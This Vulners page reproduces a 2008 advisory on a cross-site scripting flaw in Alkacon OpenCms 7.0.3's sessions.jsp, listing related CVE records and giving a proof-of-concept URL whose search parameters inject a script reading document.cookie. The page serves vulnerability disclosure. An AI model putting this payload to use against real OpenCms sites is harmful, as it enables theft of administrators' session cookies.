Vulners
Lucene search
alkaconsessions-xss.txt
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2008-1510 | 24 Mar 200800:00 | – | circl |
 | CVE-2008-1510 | 25 Mar 200823:00 | – | cve |
 | CVE-2008-1510 | 25 Mar 200823:00 | – | cvelist |
 | EUVD-2008-1511 | 7 Oct 202500:30 | – | euvd |
 | Alkacon OpenCMS XSS via searchfilter or listSearchFilter parameter | 1 May 202223:40 | – | github |
 | CVE-2008-1510 | 25 Mar 200823:44 | – | nvd |
 | GHSA-4FG8-5HWC-WG5V Alkacon OpenCMS XSS via searchfilter or listSearchFilter parameter | 1 May 202223:40 | – | osv |
 | Cross site scripting | 25 Mar 200823:44 | – | prion |
| Cross site scripting | 11 Apr 200821:05 | – | prion |
 | Alkacon OpenCms sessions.jsp searchfilter XSS | 5 Apr 200800:00 | – | securityvulns |
10
`Alkacon OpenCms sessions.jsp searchfilter XSS
Product: Alkacon OpenCms
http://www.opencms.org/
OpenCms contains a cross-site scripting vulnerability in the active session reporting function. Input to parameter searchfilter in page opencms/system/workplace/admin/workplace/sessions.jsp is not sufficiently validated and/or sanitized before it gets embedded in the resulting web page.
Example:
http://(target)/opencms/system/workplace/admin/workplace/sessions.jsp?
ispopup=&action=listsearch&framename=&title=
&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Fpath%253D%252Fworkplace
&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=
&formname=ls-form&sortcol=&originalparams=&page=&style=new&root=
&path=%252Fworkplace%252Fbroadcast&redirect=
&searchfilter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
&listSearchFilter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
The vulnerability has been identified in version 7.0.3. However, other versions may be also affected. Despite similarities this is a different vulnerability than CVE-2008-1510.
Solution:
Users should not browse untrusted sites while logged into OpenCms.
Found by:
nnposter
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
08 Apr 2008 00:00Current
6.6Medium risk
Vulners AI Score6.6
EPSS0.00564